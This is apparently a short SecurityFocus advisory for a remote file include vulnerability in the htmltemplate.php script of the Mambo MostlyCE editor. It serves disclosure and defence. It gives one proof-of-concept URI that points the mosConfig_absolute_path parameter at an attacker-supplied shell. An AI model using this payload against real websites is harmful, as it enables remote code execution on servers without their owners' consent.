Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

Mambo MostlyCE HTMLTemplate.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available to demonstrate this issue:

http://www.example.com/[path]/mostlyce/jscripts/tiny_mce/plugins/htmltemplate/htmltemplate.php?mosConfig_absolute_path=[shell]







 

Privacy Statement
Copyright 2009, SecurityFocus